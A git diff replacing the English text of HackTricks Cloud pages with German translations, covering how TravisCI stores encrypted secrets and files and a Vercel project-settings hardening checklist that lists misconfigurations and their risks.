## Encrypted Secrets
|
||||
## Verschlüsselte Geheimnisse
|
||||
|
||||
### Environment Variables
|
||||
### Umgebungsvariablen
|
||||
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
In TravisCI, wie in anderen CI-Plattformen, ist es möglich, **Geheimnisse auf Repo-Ebene zu speichern**, die verschlüsselt gespeichert werden und **entschlüsselt und in der Umgebungsvariable** der Maschine, die den Build ausführt, **übertragen werden**.
|
||||
|
||||
.png>)
|
||||
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
Es ist möglich, die **Branches anzugeben, für die die Geheimnisse verfügbar sein sollen** (standardmäßig alle) und auch, ob TravisCI **den Wert verbergen soll**, wenn er **in den Protokollen** erscheint (standardmäßig wird es das tun).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
### Benutzerdefinierte verschlüsselte Geheimnisse
|
||||
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
Für **jedes Repo** generiert TravisCI ein **RSA-Schlüsselpaar**, **behält** den **privaten** Schlüssel und macht den **öffentlichen Schlüssel des Repositories** für diejenigen verfügbar, die **Zugriff** auf das Repository haben.
|
||||
|
||||
Sie können auf den öffentlichen Schlüssel eines Repos zugreifen mit:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
Dann können Sie dieses Setup verwenden, um **Geheimnisse zu verschlüsseln und sie zu Ihrer `.travis.yaml` hinzuzufügen**. Die Geheimnisse werden **entschlüsselt, wenn der Build ausgeführt wird** und sind in den **Umgebungsvariablen** zugänglich.
|
||||
|
||||
.png>)
|
||||
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
Beachten Sie, dass die auf diese Weise verschlüsselten Geheimnisse nicht in den Umgebungsvariablen der Einstellungen aufgeführt werden.
|
||||
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
### Benutzerdefinierte verschlüsselte Dateien
|
||||
|
||||
Auf die gleiche Weise wie zuvor erlaubt TravisCI auch, **Dateien zu verschlüsseln und sie während des Builds zu entschlüsseln**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -52,7 +49,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
Beachten Sie, dass beim Verschlüsseln einer Datei 2 Umgebungsvariablen im Repository konfiguriert werden, wie zum Beispiel:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.
|
||||
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
**Travis CI Enterprise besteht aus zwei Hauptteilen:**
|
||||
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
1. TCI **Dienste** (oder TCI Core Services), verantwortlich für die Integration mit Versionskontrollsystemen, die Autorisierung von Builds, die Planung von Build-Jobs usw.
|
||||
2. TCI **Worker** und Build-Umgebungsbilder (auch als OS-Bilder bezeichnet).
|
||||
|
||||
**TCI Core services require the following:**
|
||||
**TCI Core-Dienste erfordern Folgendes:**
|
||||
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
1. Eine **PostgreSQL11** (oder später) Datenbank.
|
||||
2. Eine Infrastruktur zum Bereitstellen eines Kubernetes-Clusters; es kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
|
||||
3. Abhängig von Ihrer Konfiguration möchten Sie möglicherweise einige der Komponenten selbst bereitstellen und konfigurieren, z. B. RabbitMQ - siehe die [Einrichtung von Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) für weitere Details.
|
||||
|
||||
**TCI Worker requires the following:**
|
||||
**TCI Worker erfordert Folgendes:**
|
||||
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
1. Eine Infrastruktur, in der ein Docker-Image, das den **Worker und ein verknüpftes Build-Image enthält, bereitgestellt werden kann**.
|
||||
2. Konnektivität zu bestimmten Komponenten der Travis CI Core Services - siehe die [Einrichtung des Workers](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) für weitere Details.
|
||||
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
Die Anzahl der bereitgestellten TCI Worker und Build-Umgebungs-OS-Bilder bestimmt die gesamte gleichzeitige Kapazität der Travis CI Enterprise-Bereitstellung in Ihrer Infrastruktur.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,440 +2,413 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
In Vercel ist ein **Team** die komplette **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.
|
||||
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).
|
||||
|
||||
## Project Settings
|
||||
## Projekteinstellungen
|
||||
|
||||
### General
|
||||
### Allgemein
|
||||
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
**Zweck:** Verwalten grundlegender Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project 
|
||||
- **Risk:** Delete the prject
|
||||
- **Übertragung**
|
||||
- **Fehlkonfiguration:** Erlaubt die Übertragung des Projekts zu einem anderen Team
|
||||
- **Risiko:** Ein Angreifer könnte das Projekt stehlen
|
||||
- **Projekt löschen**
|
||||
- **Fehlkonfiguration:** Erlaubt das Löschen des Projekts
|
||||
- **Risiko:** Löschen des Projekts
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
**Zweck:** Verwalten von benutzerdefinierten Domains, DNS-Einstellungen und SSL-Konfigurationen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
- **DNS-Konfigurationsfehler**
|
||||
- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server zeigen.
|
||||
- **Risiko:** Domain-Hijacking, Datenverkehrsüberwachung und Phishing-Angriffe.
|
||||
- **SSL/TLS-Zertifikatsverwaltung**
|
||||
- **Fehlkonfiguration:** Verwendung schwacher oder abgelaufener SSL/TLS-Zertifikate.
|
||||
- **Risiko:** Anfällig für Man-in-the-Middle (MITM)-Angriffe, die die Datenintegrität und Vertraulichkeit gefährden.
|
||||
- **DNSSEC-Implementierung**
|
||||
- **Fehlkonfiguration:** DNSSEC nicht aktiviert oder falsche DNSSEC-Einstellungen.
|
||||
- **Risiko:** Erhöhte Anfälligkeit für DNS-Spoofing und Cache-Poisoning-Angriffe.
|
||||
- **Umgebung pro Domain**
|
||||
- **Fehlkonfiguration:** Ändern der in der Produktion verwendeten Umgebung durch die Domain.
|
||||
- **Risiko:** Potenzielle Geheimnisse oder Funktionen offenlegen, die in der Produktion nicht verfügbar sein sollten.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
### Umgebungen
|
||||
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
**Zweck:** Definieren verschiedener Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
- **Umgebungsisolierung**
|
||||
- **Fehlkonfiguration:** Teilen von Umgebungsvariablen zwischen Umgebungen.
|
||||
- **Risiko:** Leckage von Produktionsgeheimnissen in Entwicklungs- oder Vorschauumgebungen, was die Exposition erhöht.
|
||||
- **Zugriff auf sensible Umgebungen**
|
||||
- **Fehlkonfiguration:** Gewährung eines breiten Zugriffs auf Produktionsumgebungen.
|
||||
- **Risiko:** Unbefugte Änderungen oder Zugriff auf Live-Anwendungen, was zu potenziellen Ausfallzeiten oder Datenverletzungen führen kann.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
### Umgebungsvariablen
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
**Zweck:** Verwalten von umgebungsspezifischen Variablen und Geheimnissen, die von der Anwendung verwendet werden.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Offenlegung sensibler Variablen**
|
||||
- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
|
||||
- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten an die Öffentlichkeit, was zu Datenverletzungen führt.
|
||||
- **Sensible deaktiviert**
|
||||
- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
|
||||
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
|
||||
- **Geteilte Umgebungsvariablen**
|
||||
- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und auch sensible Informationen enthalten könnten.
|
||||
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
**Zweck:** Konfigurieren von Git-Repository-Integrationen, Branch-Schutzmaßnahmen und Bereitstellungsauslösern.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
- **Ignorierter Build-Schritt (TODO)**
|
||||
- **Fehlkonfiguration:** Es scheint, dass diese Option es ermöglicht, ein Bash-Skript/Befehle zu konfigurieren, die ausgeführt werden, wenn ein neuer Commit in Github gepusht wird, was RCE ermöglichen könnte.
|
||||
- **Risiko:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
### Integrationen
|
||||
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
**Zweck:** Verbinden von Drittanbieterdiensten und -tools zur Verbesserung der Projektfunktionen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
- **Unsichere Drittanbieter-Integrationen**
|
||||
- **Fehlkonfiguration:** Integration mit untrusted oder unsicheren Drittanbieterdiensten.
|
||||
- **Risiko:** Einführung von Schwachstellen, Datenlecks oder Hintertüren durch kompromittierte Integrationen.
|
||||
- **Überberechtigte Integrationen**
|
||||
- **Fehlkonfiguration:** Gewährung übermäßiger Berechtigungen an integrierte Dienste.
|
||||
- **Risiko:** Unbefugter Zugriff auf Projektressourcen, Datenmanipulation oder Dienstunterbrechungen.
|
||||
- **Mangelnde Integrationsüberwachung**
|
||||
- **Fehlkonfiguration:** Versäumnis, Drittanbieter-Integrationen zu überwachen und zu prüfen.
|
||||
- **Risiko:** Verzögerte Erkennung kompromittierter Integrationen, was die potenziellen Auswirkungen von Sicherheitsverletzungen erhöht.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
### Bereitstellungsschutz
|
||||
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
**Zweck:** Sichern von Bereitstellungen durch verschiedene Schutzmechanismen, die steuern, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
**Vercel Authentication**
|
||||
**Vercel-Authentifizierung**
|
||||
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
- **Fehlkonfiguration:** Deaktivierung der Authentifizierung oder keine Durchsetzung von Teammitgliedprüfungen.
|
||||
- **Risiko:** Unbefugte Benutzer können auf Bereitstellungen zugreifen, was zu Datenverletzungen oder Missbrauch der Anwendung führt.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
**Schutzumgehung für Automatisierung**
|
||||
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
- **Fehlkonfiguration:** Öffentliches Offenlegen des Umgehungsgeheimnisses oder Verwendung schwacher Geheimnisse.
|
||||
- **Risiko:** Angreifer können Bereitstellungsschutzmaßnahmen umgehen und auf geschützte Bereitstellungen zugreifen und diese manipulieren.
|
||||
|
||||
**Shareable Links**
|
||||
**Teilen von Links**
|
||||
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
- **Fehlkonfiguration:** Unüberlegtes Teilen von Links oder Versäumnis, veraltete Links zu widerrufen.
|
||||
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, Umgehung von Authentifizierung und IP-Beschränkungen.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Allowlist setzen.
|
||||
- **Risiko:** Angreifer können ungeschützte Pfade ausnutzen, um unbefugte Aktionen durchzuführen oder Sicherheitsprüfungen zu umgehen.
|
||||
|
||||
**Password Protection**
|
||||
**Passwortschutz**
|
||||
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsicheres Teilen.
|
||||
- **Risiko:** Unbefugter Zugriff auf Bereitstellungen, wenn Passwörter erraten oder geleakt werden.
|
||||
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
**Ausnahmen beim Bereitstellungsschutz**
|
||||
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Fehlkonfiguration:** Unabsichtliches Hinzufügen von Produktions- oder sensiblen Domains zur Ausnahmeliste.
|
||||
- **Risiko:** Offenlegung kritischer Bereitstellungen an die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
|
||||
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
|
||||
|
||||
**Trusted IPs**
|
||||
**Vertrauenswürdige IPs**
|
||||
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
- **Fehlkonfiguration:** Falsche Angabe von IP-Adressen oder CIDR-Bereichen.
|
||||
- **Risiko:** Legitime Benutzer werden blockiert oder unbefugte IPs erhalten Zugriff.
|
||||
- **Hinweis:** Verfügbar im **Enterprise**-Plan.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
||||
### Funktionen
|
||||
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
**Zweck:** Konfigurieren von serverlosen Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Nothing**
|
||||
- **Nichts**
|
||||
|
||||
---
|
||||
|
||||
### Data Cache
|
||||
### Daten-Cache
|
||||
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
**Zweck:** Verwalten von Caching-Strategien und -Einstellungen zur Optimierung der Leistung und Kontrolle der Datenspeicherung.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
- **Cache leeren**
|
||||
- **Fehlkonfiguration:** Es erlaubt, den gesamten Cache zu löschen.
|
||||
- **Risiko:** Unbefugte Benutzer löschen den Cache, was zu einem potenziellen DoS führen kann.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
### Cron-Jobs
|
||||
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
**Zweck:** Planen automatisierter Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
- **Cron-Job deaktivieren**
|
||||
- **Fehlkonfiguration:** Es erlaubt, Cron-Jobs, die im Code deklariert sind, zu deaktivieren.
|
||||
- **Risiko:** Potenzielle Unterbrechung des Dienstes (je nachdem, wofür die Cron-Jobs gedacht waren).
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
**Zweck:** Konfigurieren externer Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
- Nothing (managed from teams settings)
|
||||
- Nichts (wird von den Teameinstellungen verwaltet)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
### Sicherheit
|
||||
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
**Zweck:** Zentrale Anlaufstelle für verschiedene sicherheitsrelevante Einstellungen, die den Projektzugriff, den Quellschutz und mehr betreffen.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
**Build-Protokolle und Quellschutz**
|
||||
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
- **Fehlkonfiguration:** Deaktivierung des Schutzes oder öffentliche Offenlegung der Pfade `/logs` und `/src`.
|
||||
- **Risiko:** Unbefugter Zugriff auf Build-Protokolle und Quellcode, was zu Informationslecks und potenzieller Ausnutzung von Schwachstellen führt.
|
||||
|
||||
**Git Fork Protection**
|
||||
**Git-Fork-Schutz**
|
||||
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
- **Fehlkonfiguration:** Erlauben unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
|
||||
- **Risiko:** Bösartiger Code kann in den Code integriert werden, was Schwachstellen oder Hintertüren einführt.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
**Sicherer Backend-Zugriff mit OIDC-Föderation**
|
||||
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
- **Fehlkonfiguration:** Falsche Einrichtung von OIDC-Parametern oder Verwendung unsicherer Aussteller-URLs.
|
||||
- **Risiko:** Unbefugter Zugriff auf Backend-Dienste durch fehlerhafte Authentifizierungsflüsse.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
**Bereitstellungsaufbewahrungsrichtlinie**
|
||||
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
- **Fehlkonfiguration:** Festlegen von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
|
||||
- **Risiko:** Unfähigkeit, bei Bedarf Rollbacks durchzuführen, oder erhöhtes Risiko der Datenexposition durch alte Bereitstellungen.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
**Kürzlich gelöschte Bereitstellungen**
|
||||
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
- **Fehlkonfiguration:** Keine Überwachung gelöschter Bereitstellungen oder ausschließlich auf automatisierte Löschungen verlassen.
|
||||
- **Risiko:** Verlust kritischer Bereitstellungshistorie, was Prüfungen und Rollbacks erschwert.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
### Erweitert
|
||||
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
**Zweck:** Zugriff auf zusätzliche Projekteinstellungen zur Feinabstimmung von Konfigurationen und zur Verbesserung der Sicherheit.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
**Directory Listing**
|
||||
**Verzeichnisauflistung**
|
||||
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
- **Fehlkonfiguration:** Aktivierung der Verzeichnisauflistung ermöglicht es Benutzern, den Inhalt von Verzeichnissen ohne Indexdatei anzuzeigen.
|
||||
- **Risiko:** Offenlegung sensibler Dateien, Anwendungsstruktur und potenzieller Einstiegspunkte für Angriffe.
|
||||
|
||||
---
|
||||
|
||||
## Project Firewall
|
||||
## Projektfirewall
|
||||
|
||||
### Firewall
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sicherheitskonfigurationen:
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
**Angriffsherausforderungsmodus aktivieren**
|
||||
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
- **Fehlkonfiguration:** Aktivierung verbessert die Verteidigung der Webanwendung gegen DoS, jedoch auf Kosten der Benutzerfreundlichkeit.
|
||||
- **Risiko:** Potenzielle Probleme mit der Benutzererfahrung.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
### Benutzerdefinierte Regeln & IP-Blockierung
|
||||
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
- **Fehlkonfiguration:** Erlaubt das Entsperren/Blockieren von Datenverkehr.
|
||||
- **Risiko:** Potenzieller DoS, der bösartigen Datenverkehr zulässt oder legitimen Datenverkehr blockiert.
|
||||
|
||||
---
|
||||
|
||||
## Project Deployment
|
||||
## Projektbereitstellung
|
||||
|
||||
### Source
|
||||
### Quelle
|
||||
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
- **Fehlkonfiguration:** Erlaubt den Zugriff auf den vollständigen Quellcode der Anwendung.
|
||||
- **Risiko:** Potenzielle Offenlegung sensibler Informationen.
|
||||
|
||||
### Skew Protection
|
||||
### Skew-Schutz
|
||||
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
